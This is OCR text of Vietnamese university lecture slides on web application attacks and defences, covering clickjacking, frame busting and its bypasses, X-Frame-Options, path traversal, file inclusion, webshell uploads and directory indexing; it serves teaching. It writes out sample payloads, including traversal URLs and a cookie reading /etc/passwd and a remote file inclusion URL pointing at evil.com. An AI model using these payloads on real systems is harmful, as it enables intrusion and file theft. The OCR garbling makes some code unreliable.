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Nut “Like” hoat ddng nhw thé nao?

ilike 3 58.228 people like this. Sign Up to see what your friends fike.

- B3 You and 58,107 others like this.

| fRETCY < 104 Tweet i Loy

like B3 58,230 people like this. Be the first of your friends,

ol Guantam 68

Tin lién quan
,} HLV Hifu Thang bat ngé vi HLV Hifu Thang gat
B <0 tuyén Viét Nam duoc doi Nghiém Xuan Ta khoi
8 th( danh gia cao tuyén Viét Nam

| HLV HiFu Thing chophép HLV Hiru Thang phan nan
*EE® Cong Phurong choi ca vé& chd & cla tuyén Viét
nhan Nam

Nut “Like” hoat ddng nhw thé nao?

g5 Like

- Yéu cau:
»~Boc cookie cla tén mién facebook.com
»Tich hgp dwoc trén cac website khac véi facebook.com
~ Céc script trén website duoc tich hop khong thé tw dong nhéap nut
“Like” (gid mao thao tac nhap chudt)
»Céch ly nat “Like” v&i cac thanh phan khac ciia website
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Nut “Like” hoat @dng nhw thé nao?

e cuantim 65 AL 194 Tweet P Lo

Tin lién quan

HLV Hifu Thalhg bat nger vi HLV Hiru Thang gat
tuyén Viét Nan duoc doi Mghiém Xuén T khoi

thi danh giafao tuyén Viét Nam

<iframe id="f5b9bb75c" name="f2f3fdd398" scrolling="no"
title="Like this content on Facebook." class="fb_ltr"
src="http://www.facebook.com/plugins/like.php?api_key=11665616

1708917..." style="border: none; overflow: hidden; height:
20px; width: 80px;"></iframe>

- Chinh sach SOP ngan can cac script gia mao thao tac
nhap chudt

]
Clickjacking

. Cligkjacking: hinh thire tAn cong dénr) Itra ngudi dung
nhap chudt mét cach vé y vao mét doi twgng trén website

| : | Claim your free
B> Like e




Phan tich hanh vi nhap chuét (click)

« Nguwdi dung tin twéng vao thao tac nhap chudt (click)
nhw thé nao?

Tin twéng vao thao tac gom tin

twéng vao thi giac vao twong tac

2. Chuan bj

jhép chudt
&

1. Kiém tra mugftiéu
F Like

I} 3. Nhép chuot

Y

Tin twéng vao twong tac

Targeteicked = Targetehecked
Pointergjcked = POiNterchecked

Clickjacking — Cach thire thwe hién

- “Evil site”: trang web chira ma ddc thwe hién tan coéng
Clickjacking

- Nguwdi dung bj danh Ira dé twong tac véi trang muc tiéu
“good site”

- Chen frame chira ndi dung “good site” vao “evil site”

- Phi/chén mét dbi twong web gid mao 1én trang “good
site” (va co6 thé 4n mot vai dbi twong “good site”)

- Cac dang tan céng:
»Gia mao, che gidu dbi twong web
»Gia mao, che gidu con trd chuot
»Chén chudi twong tac khi nhap chuot

} Panh Itra thi giac
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Clickjacking — Mét s0 ky thuét

- Che gidu dbi twong muc tiéu:
~Ky thuat 1: S dung thudc tinh CSS opacity dé che gidu doi
twong web can click(muc tiéu) va z-index khi hién thi déi twong
web dung dé danh Ira
» Ky thuat 2: Pha déi twong dung dé danh Iva lén dbi twong muc
tiéu. St dung thuéc tinh CSS pointer-events: none dé vo
hiéu hoa thao tac nhap chuét trén déi twong dung dé danh Ira

opacity: 0.1 pointer-event: none

'
—:|:— Click Event
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Clickjacking — Mét so ky thuat

- Partial Overlays: Chén trang web muc tiéu vao i frame
va phu 1én dbi twong muc tiéu bang cac dbi twong gia
mao: st dung thudc tinh CSS z-1index hoac thudc tinh
Flash Window Mode wmode=direct

- Cropping: Chén trang web muc tiéu vao iframe va cét
xén ndi dung xung quanh

Paypal iframe Paypal iframe
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Clickjacking — Mét s0 ky thuét

- An con trd chuét that, thay thé bang con trd chudt gia: st
dung thudc tinh CSS cursor: none. St dung
Javascript d& con tré gia mé phéng sw di chuyén ctia con
tré that

Real Cursor Icon Fake Cursor Icon
cursor: none k k

fmycursor {
cursor: none;
background: url ("images/custom-cursor.jpg")

1"
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Gia mao con tro chubt — Vi du

skipthis ad »
You will be redi d to the requested page i 60 d
N\ [Pk

w4 Adobe Flash Player Settings

Camera and Microphone Access Q

www.webperfiab.com |s requesting access
to your camera and microphone. [f you
click Allow, you may be recorded.
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Clickjacking — Mét s0 ky thuét

- Strokejacking: danh Itra ngudi dung gé chudi ky tw khi
con tré chudt dang dat vao cac form nhap dir liéu

Trang tan cong Trang muc tiéu &n dwéi trang tn cong
Typing Game | Bank Transfer
Type what ever screen shows to you i+ Bank Account: 9540

| Amount: ___3062 __ USD
Xfpog95403poigr06=2kfpx

' w
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Clickjacking — Mét so ky thuat

- Chén dbi twong muc tiéu khi ngwei dung dang nhép
chudt

- Vidu 1: ky thuat ’gén cbng “bait-and-switch” chén vao gilra
2 thao tac khi nhap dup

COL iS't Chchaciing

CHEKJRERING 15 FBOUESING DEMISE T

* Mrvogm youa eomimtn

1
-:l:- First Click

?-1:':- Second Click
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Clickjacking — M6t sO ky thuat(tiép)

- Cheén dbi twong muc tiéu khi ngudi dung
dang nhép chudt — Vi du 2: k§ thuat tAn
cbng “whack-a-mole” Ira ngudi dung tham
gia trd choi yéu cau nhap chuét nhanh nhét
c6 thé

Instructions:
Please click on blue buttons as fast as possible. The faster you complete this game,

the greater your chances to win a $100 prize! If you don't click on a button, the
game will skip it in 10 seconds.

Buttons clicked: 17/20
Time elapsed: 27.6 sec

[ cuon |

nﬁm a

15

15

PHONG CHONG CLICKJACKING

Bui Trong Tung,
Vién Coéng nghé théng tin va Truyén théng,
Pai hoc Bach khoa Ha Noi
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Phong chong Clickjacking

- Yéu ciu ngudi dung xac nhan lai: Hién thi hop thoai
thdng bao thao tac nguwdi dung da thwe hién va yéu cau
xac nhan

»Phu thudc vao kinh nghiém va théi quen clia ngwoi dung
- Ng&u nhién hoa giao dién: dat cac doi twong web vao cac
vi tri ngéu nhién
~Gay khoé khan cho ngwoi dung vi giao dién khéng 6n dinh
~Ma khai co thé yéu cau nguoi diing click lién tuc téi khi thanh cong
(tan céng dang multi-click)

- Thiét lap chinh s&ch trén trinh duyét dé budc cac frame

hién thi v&i opacity > 0
»~L&i hién thi giao dién

17
17
Phong chdng Clickjacking — Frame
Bursting
- Viét thém cac doan ma Javascript vao ma nguén trang
web can bao vé dé& ngan can mét trang web khac nhing
ndi dung cua trang d6 vao i frame
»Khong lam viéc v&i nat “Like” clia Facebook
- Cach thire thye hién Frame Bursting:
» S dung cau lénh diéu kién dé kiém tra trang web c6 ndm trong
iframe hay khong?
»Chuyé&n hwéng clra sb trinh duyét vé trang web bi nhing vao
iframe
> Vi du:
<script> if (top! = self)
top.location = self.location;
</script>
18
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Frame Bursting — Két qua khéo sét

- Ti 1é cac trang trong Top500 trén Alexa str dung Frame

Bursting
Sites Framebusting
Top 10 60%
Top 100 37%
Top 500 14%

“Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites”, Gustav Rydstedt
19
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Frame Bursting — Cau Iénh diéu kién

if (top != self)
if (top.location != self.location)
if (top.location != location)
if (parent.frames.length > 0)
if (window != top)

if (window.top !== window.self)

if (window.self = window.top)
if (parent && parent != window)

if (parent && parent.frames &&
parent.frames.length>0)

if((self.parent && !(self.parent===self)) &&
(self.parent.frames.length!=0))

20




Frame Bursting — Chuyén huéng

top.location = self.location
top.location.href = document.location.href
top.location.href = self.location.href

top.location.replace(self.location)
top.location.href = window.location.href

top.location.replace(document.location)
top.location.href = window.location.href
top.location.href = "URL"
document.write(”)
top.location = location
top.location.replace(document.location)
top.location.replace('URL)

top.location.href = document.location
21
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Frame Bursting

Hau hét cac ky thuat Frame Bursting
co thé bi viot qua (bypass)!!!

+ Cach thirc chung: ngan can su kién chuyén huong toi trang gbc
can bao vé
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Vuot qua Frame Bursting

- Vidu 1:
<script>
if (top != self)
top.location = self.location;
</script>
- Bypass:

<body onbeforeunload="return myFunction()">
This is iframe</br>
<script>
function myFunction ()
{
return "Asking the user nicely";

}

</ script> Do you want to reload this site?
<iframe s rc:\\http . Changes you made may not be saved.
|| Prevent this page from creating additional dialogs.
< /bOdy> | Don't Reload 7|

23
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Vuwot qua Frame Bursting

- Vidu 2:
<script>
if (top.location != self.location)
parent.location = self.location;
</script>
- Bypass: double framing
»Sub-frame
<iframe src = “http://...”>
> Top-frame

<iframe src = “subframe.html”>
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Vuot qua Frame Bursting

- Vi du 3: Frame Bursting nhwng van cho phép céc trang
cung tén mién duwgc phép nhung
<script>
if (top.location != location) {
if (document.referer &&

document.referer.indexOf (“mysite.com”)

== -1)
{

top.location.replace (document.location.href) ;

}
}

</script>

- Bypass: sir dung tén mién mysite.com.attacker.com
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Vuwot qua Frame Bursting

- Vidu 4:
<script>
if (top != self)
top.location = self.location;
</script>

- Bypass: loi dung cac trinh duyét str dung bé loc phong
chong tan céng Reflected XSS

<iframe src = “http://...?var=<script>if (top != self)
top.location = self.location;</script>">

—>khi hién thi, doan script d& Frame Bursting bj v6 hiéu héa

26

26

13



/0]
S dung tiéu dé X-Frame-Options

- Thay thé Frame Bursting
- Khéng hé tro trén céc trinh duyét ci
- Cac gia tri:
»DENY: cdm nhung vao frame
,SAMEORIGIN: chi dwgc nhung vao frame trén cac trang cung tén
mién
»ALLOW-FROM domain: chi dwgc nhung vao frame trén cac trang
c6 tén mién 1a domain

This content cannot be displayed in a frame

T protect your security, the publsher of this content does not alow It o be
displayed N a frame,

Chck here to open this content in 3 new window

27
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S dung tiéu dé X-Frame-Options

- Khéng hd tro trén thé <meta>

- Han ché néu website sir dung nhiéu tén mién khac nhau

- Gia tri ALLOW FROM khéng dwoc hé tro bdi tt ca cac
trinh duyét

»Xem tai: http://erlend.oftedal.no/blog/tools/xframeoptions/

- Chi cho phép str dung 1 gia tri tuy chon

- Cac tuy chon ORIGIN va ALLOW FROM khéng Imaf viéc
v@i vOi Netsted Frame

- Dé& dang bj g& bd b&i Web Proxy.

28
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Frame Bursting — Cai tién

- Khai bao style
<style id="antiClickjack">
body{
display:none !important;
}
</style>

- Ma Frame Bursting
<script>
if (self === top) {
var antiClickjack =
document.getElementById ("antiClickjack") ;
antiClickjack.parentNode.removeChild (antiClickjack);
}
else {
top.location = self.location;
}
</script>
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Phong chdng Clickjacking — Cac ky thuat
khac

- X6a tuy chon cua cursor
~Gidm ti 1& tAn cong thanh cong tir 43% xubng 16%

- Freeze screen: “dong bang” cac hiéu rng phan tan sy
chd y cGia ngudi dung xung quanh dbi twong nhan s
kién click

~Giadm ti 1& tAn cong thanh cong tir 43% xubng 16%

- St dung hiéu rng lightbox & viing bén ngoai déi twong
nhan s kién click
> Két hop voi

Freeze screeen
giam ti lé tan
cong thanh cong
tr 43% xudng
2%

30



Phong chdng Clickjacking — Cac ky thuat
khac
Chédng tan cong double-click(Firefox Add-on: NoScript )
- Lam tré gitra 2 lan click:
»Delay = 250ms: gidm ti 1& tAn cong thanh cong tr 47% > 2%
»Delay = 500ms: gidm ti 1& tAn cong thanh cong tr 47% > 1%
- Khoa click 1an th&r 2 néu con tré chudt khdng dat 1én cung

mot déi twong
»Giam ti 1& tAn cong thanh cong xudng 0%
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2. MOT SO HINH THUC TAN
CONG KHAC

Bui Trong Tung,
Vién Cong nghé théng tin va Truyén théng,
Pai hoc Bach khoa Ha Noi
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Panh cap lich str duyét Web

evil.com: Client da truy cap
google.com, facebook.com,

http://www.google.com group c6 id 12345

http://www.facebook.com

http://www.twitter.com Client khong truy cap

http://www.facebook.com/group?id=12345 twitter.com, GB group c6

http://www.facebook.com/group?id=98765 HleTEs

« S dung Javascript va XSS dé danh cap thong tin lich st duyét
Web:

http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-
youve-been.html
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Path Traversal

- Tén goi khac: “dot-dot-slash”, “directory traversal’,
"directory clumbing”, “backtracking”

- L6 hdng: 16i cAu hinh phan quyén thu muc gbc (webroot)
cua trng dung Web

- Phat hién: str dung cac ky thuat Web Crawler

- Khai thac qua bién GET:
> http://example.com/index.php?view=archive.html
»Khai thac: http://fexample.com/index.php?view=../../../../boot.ini
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Path Traversal — Khai thac

- Khai thac qua cac bién clia POST, qua cookie

- Vi du: website c6 thé s& dung COOKIE dé lwu template
ddng cho Website nhw sau:

Cookie: ID= 2ddd73ef3620afc62cd6942c31; TEMPLATE=xpstyle
Cookie: USER=memberl234; PSTYLE=Green

- Khai thac

Cookie: ID= 2ddd73ef3620afc62cd6942c31; TEMPLATE=xpstyle
Cookie: USER=memberl1234; PSTYLE=../../etc/passwd

http://www.hvaonline.net/hvaonline/posts/list/25352.hva

35
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Path Traversal — Phong chong

- Tao tai khoan cho web server va phan quyén

- CAu hinh webroot cho thw muc chira ma ngudn cla trng
dung Web

- Loc cac gia tri dau vao

36
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File Inclusion

- L6 hdng: loi dung ma ngudn st dung cac ham dé chén
file thw vién theo tuy bién ngudi dung
»Vi du: include(), inlude_once(), require(), require_once() trong PHP
- Khai thac:
»Local File Inclusion: khai thac twong tw Path Traversal

»Remote File Inclusion: chén gia tri dau vao la file chira ma doc
thwce thi

+ Vi du: http://example.com/index.php?lang=vietnamese

<?php
if (isset( $_GET[‘lang’] ) ){
include( $_GET[‘lang’] . '.php' );
}

2>
- Khai thac: http://example.com/index.php?lang=http://evil.com/attack
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File Upload

- L6 héng file upload: Khéng kiém tra kiéu file ma nguoi
dung tai Ilén may chu Web.

- Tan cong khai thac: Ké tan cong tai cac file co kha nang
thwc thi lén.

- WebShell: cdng cu cung cap tinh ndng thuwc hién cac 1énh
cta hé théng (shell) tir giao dién Web
»Théng thwong dwoc viét bang chinh ngdn ngir da st dung dé lap

trinh Website

- K& tn codng c6 thé khai thac 16 hdng dé tai WebShell 1én
website > dé dang thyc hién diéu khién may cha
~WebShell cé thé coi Ia mét dang backdoor
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Directory Indexing

- L6 hdng: 16i cAu hinh trd t&i file index ctia webserver
- Vi du: phan tich trén Apache Web Server
»Khi ngwoi dung truy cap st dung URL khéng tré cu thé téi mot file
nao dé, Apache tim doc file trong ciu hinh Directorylndex (vi du
index.php, index.htm, index.html, home.php...)dé hién thj
»Néu khéng c6 cau hinh Directorylndex, Apache kiém tra tiy chon
Indexes
<Directory /home/www>

Options +Indexes
</Directory>

,Néu tiy chon Indexes dugc cAu hinh nhw trén, Apache sé tra vé
cu tric thw muc ma ngudn va cé thé cho phép xem file bat ky
trong dé

39

39

Bai gidng s dung mét sb hinh vé va vi du tir cac bai
giang:

- Computer and Network Security, Stanford University
- Computer Security, Berkeley University

- Introduction to Computer Security, Carnegie Mellon
University

- Bai trinh bay “Clickjacking: Attacks and Defenses” cla
Lin-Shung Huang, Alexander Moshchuk, Helen J. Wang,
Stuart Schechter, and Collin Jackson
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